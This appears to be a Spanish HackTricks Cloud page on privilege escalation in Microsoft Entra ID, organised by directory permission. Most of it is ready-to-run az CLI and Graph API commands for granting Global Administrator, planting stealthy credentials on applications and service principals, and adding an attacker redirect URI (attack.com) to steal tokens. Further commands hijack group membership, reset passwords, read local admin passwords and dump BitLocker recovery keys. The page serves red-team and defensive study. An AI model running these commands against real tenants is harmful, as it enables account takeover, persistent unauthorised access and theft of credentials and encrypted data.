Az - EntraID Privesc
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Note
Tenga en cuenta que no todos los permisos granulares de los roles integrados en Entra ID son elegibles para ser utilizados en roles personalizados.
Roles
Role: Privileged Role Administrator
Este rol contiene los permisos granulares necesarios para poder asignar roles a los principales y para otorgar más permisos a los roles. Ambas acciones podrían ser abusadas para escalar privilegios.
- Asignar rol a un usuario:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- Agregar más permisos a un rol:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
Aplicaciones
microsoft.directory/applications/credentials/update
Esto permite a un atacante agregar credenciales (contraseñas o certificados) a aplicaciones existentes. Si la aplicación tiene permisos privilegiados, el atacante puede autenticarse como esa aplicación y obtener esos privilegios.
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
Esto permite las mismas acciones que applications/credentials/update, pero limitado a aplicaciones de un solo directorio.
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
Al agregarse a sí mismos como propietarios, un atacante puede manipular la aplicación, incluidas las credenciales y los permisos.
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
Un atacante puede agregar una URI de redirección a las aplicaciones que están siendo utilizadas por los usuarios del inquilino y luego compartir con ellos URLs de inicio de sesión que utilizan la nueva URL de redirección para robar sus tokens. Tenga en cuenta que si el usuario ya estaba conectado a la aplicación, la autenticación será automática sin que el usuario necesite aceptar nada.
Tenga en cuenta que también es posible cambiar los permisos que la aplicación solicita para obtener más permisos, pero en este caso el usuario necesitará aceptar nuevamente el aviso que solicita todos los permisos.
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
Service Principals
microsoft.directory/servicePrincipals/credentials/update
Esto permite a un atacante agregar credenciales a los service principals existentes. Si el service principal tiene privilegios elevados, el atacante puede asumir esos privilegios.
az ad sp credential reset --id <sp-id> --append
Caution
La nueva contraseña generada no aparecerá en la consola web, por lo que esto podría ser una forma sigilosa de mantener la persistencia sobre un servicio principal.
Desde la API se pueden encontrar con:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Si obtienes el error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." es porque no es posible modificar la propiedad passwordCredentials del SP y primero necesitas desbloquearlo. Para ello necesitas un permiso (microsoft.directory/applications/allProperties/update) que te permita ejecutar:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
Esto permite a un atacante agregar credenciales a los principales de servicio existentes. Si el principal de servicio tiene privilegios elevados, el atacante puede asumir esos privilegios.
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
Similar a las aplicaciones, este permiso permite agregar más propietarios a un principal de servicio. Ser propietario de un principal de servicio permite controlar sus credenciales y permisos.
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
Después de agregar un nuevo propietario, intenté eliminarlo, pero la API respondió que el método DELETE no era compatible, incluso si es el método que necesitas usar para eliminar al propietario. Así que no puedes eliminar propietarios hoy en día.
microsoft.directory/servicePrincipals/disable y enable
Estos permisos permiten deshabilitar y habilitar principales de servicio. Un atacante podría usar este permiso para habilitar un principal de servicio al que podría acceder de alguna manera para escalar privilegios.
Ten en cuenta que para esta técnica, el atacante necesitará más permisos para hacerse cargo del principal de servicio habilitado.
# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
Estos permisos permiten crear y obtener credenciales para el inicio de sesión único, lo que podría permitir el acceso a aplicaciones de terceros.
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
Escalación de Privilegios de Aplicaciones
Como se explica en esta publicación, era muy común encontrar aplicaciones predeterminadas que tienen permisos de API de tipo Application asignados a ellas. Un Permiso de API (como se llama en la consola de Entra ID) de tipo Application significa que la aplicación puede acceder a la API sin un contexto de usuario (sin que un usuario inicie sesión en la aplicación), y sin necesidad de roles de Entra ID que lo permitan. Por lo tanto, es muy común encontrar aplicaciones de alto privilegio en cada inquilino de Entra ID.
Entonces, si un atacante tiene algún permiso/rol que permite actualizar las credenciales (secreto o certificado) de la aplicación, el atacante puede generar una nueva credencial y luego usarla para autenticarse como la aplicación, obteniendo todos los permisos que tiene la aplicación.
Tenga en cuenta que el blog mencionado comparte algunos permisos de API de aplicaciones predeterminadas comunes de Microsoft; sin embargo, algún tiempo después de este informe, Microsoft solucionó este problema y ahora no es posible iniciar sesión como aplicaciones de Microsoft. Sin embargo, todavía es posible encontrar aplicaciones personalizadas con altos privilegios que podrían ser abusadas.
Grupos
microsoft.directory/groups/allProperties/update
Este permiso permite agregar usuarios a grupos privilegiados, lo que lleva a la escalación de privilegios.
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye los grupos asignables de roles de Entra ID.
microsoft.directory/groups/owners/update
Este permiso permite convertirse en propietario de grupos. Un propietario de un grupo puede controlar la membresía y la configuración del grupo, lo que potencialmente puede escalar privilegios al grupo.
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
Nota: Este permiso excluye los grupos asignables de roles de Entra ID.
microsoft.directory/groups/members/update
Este permiso permite agregar miembros a un grupo. Un atacante podría agregarse a sí mismo o a cuentas maliciosas a grupos privilegiados, lo que puede otorgar acceso elevado.
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
Este permiso permite actualizar la regla de membresía en un grupo dinámico. Un atacante podría modificar las reglas dinámicas para incluirse a sí mismo en grupos privilegiados sin una adición explícita.
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
Nota: Este permiso excluye los grupos asignables por rol de Entra ID.
Privesc de Grupos Dinámicos
Puede ser posible que los usuarios escalen privilegios modificando sus propias propiedades para ser añadidos como miembros de grupos dinámicos. Para más información, consulta:
Usuarios
microsoft.directory/users/password/update
Este permiso permite restablecer la contraseña a usuarios no administradores, lo que permite a un posible atacante escalar privilegios a otros usuarios. Este permiso no se puede asignar a roles personalizados.
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
Este privilegio permite modificar las propiedades del usuario. Es común encontrar grupos dinámicos que añaden usuarios basados en los valores de las propiedades, por lo tanto, este permiso podría permitir a un usuario establecer el valor de propiedad necesario para ser miembro de un grupo dinámico específico y escalar privilegios.
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
Políticas de acceso condicional y bypass de MFA
Las políticas de acceso condicional mal configuradas que requieren MFA podrían ser eludidas, consulta:
Az - Conditional Access Policies & MFA Bypass
Dispositivos
microsoft.directory/devices/registeredOwners/update
Este permiso permite a los atacantes asignarse a sí mismos como propietarios de dispositivos para obtener control o acceso a configuraciones y datos específicos del dispositivo.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
Este permiso permite a los atacantes asociar su cuenta con dispositivos para obtener acceso o eludir políticas de seguridad.
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
Este permiso permite a los atacantes leer las propiedades de las credenciales de la cuenta de administrador local respaldada para dispositivos unidos a Microsoft Entra, incluyendo la contraseña.
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
Este permiso permite acceder a las claves de BitLocker, lo que podría permitir a un atacante descifrar unidades, comprometiendo la confidencialidad de los datos.
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
Otras permisos interesantes (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

